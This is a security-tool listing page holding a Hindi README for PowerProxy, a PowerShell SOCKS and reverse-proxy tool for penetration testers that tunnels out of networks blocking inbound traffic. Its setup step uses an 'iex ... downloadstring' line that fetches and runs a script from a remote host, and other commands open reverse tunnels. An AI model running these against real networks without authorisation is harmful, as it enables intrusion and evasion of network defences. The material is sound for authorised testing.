Exploit for PowerProxy

kitploit · 2026-08-29
Exploit Code

MARKDOWN79 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GET-GET-GET-GET-POWERPROXY
# PowerProxy

पावरशेल SOCKS प्रॉक्सी जिसमें रिवर्स प्रॉक्सी क्षमताएं हैं।

PowerProxy को पेनिट्रेशन टेस्टर्स को ध्यान में रखकर लिखा गया है। रिवर्स प्रॉक्सी कार्यक्षमता को प्राथमिकता दी गई है, ताकि उन नेटवर्कों को पार किया जा सके जो इनबाउंड कनेक्शन को ब्लॉक करते हैं। रिवर्स प्रॉक्सी कनेक्शन डिफ़ॉल्ट रूप से एन्क्रिप्टेड होते हैं। Socks 5 कनेक्शन के लिए उपयोगकर्ता नाम/पासवर्ड प्रमाणीकरण समर्थित है।

## सेटअप

स्क्रिप्ट आयात करें:

root@kitploit:~
    
    
    iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
    # OR
    Import-Module \\192.168.0.22\Public\PowerProxy.ps1
    

**reverse_proxy_handler.py** अस्थायी SSL प्रमाणपत्र बना सकता है, जिसके लिए OpenSSL की आवश्यकता होती है। यदि आपकी मशीन पर OpenSSL स्थापित नहीं है (अधिकांश Linux/Unix-आधारित सिस्टम पर यह होता है), तो अपना स्वयं का प्रमाणपत्र प्रदान करें या _\--no-encrypt_ विकल्प का उपयोग करें।

## उपयोग

विस्तृत उपयोग के लिए, PowerProxy की सहायता देखें, या _./reverse_proxy_handler.py --help_ का उपयोग करें।

### **रिवर्स प्रॉक्सी चलाएं**

स्थानीय मशीन पर, हैंडलर शुरू करें:

root@kitploit:~
    
    
    # Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
    ./reverse_proxy_handler.py -p 8080 
    

PowerShell में:

root@kitploit:~
    
    
    Start-ReverseSocksProxy 172.1.1.20 -Port 8080
    

प्रॉक्सी क्लाइंट reverse_proxy_handler.py द्वारा बनाए गए सर्वर को वास्तविक SOCKS सर्वर के रूप में मान सकते हैं:

root@kitploit:~
    
    
    curl --socks4 127.0.0.1:1080 http://10.10.2.69/
    

### **पारंपरिक SOCKS सर्वर चलाएं**

root@kitploit:~
    
    
    Start-SocksProxy 172.10.2.20 -Port 9050
    

### प्रमाणीकरण आवश्यक करें

उपयोगकर्ता नाम और पासवर्ड की आवश्यकता के लिए PSCredential ऑब्जेक्ट का उपयोग करें:

root@kitploit:~
    
    
    # Create the credential
    $Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
    $Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
    
    Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose
    

## सीमाएं

  * इस समय, केवल CONNECT अनुरोध समर्थित हैं। BIND समर्थन एक लक्ष्य है, यदि व्यावहारिक हो।
  * GSSAPI प्रमाणीकरण समर्थित नहीं है।
  * reverse_proxy_handler.py केवल UNIX-आधारित मशीनों पर परीक्षण किया गया है, और संभवतः Windows पर काम नहीं करता है।
Exploit Code

Share

Share on social media:
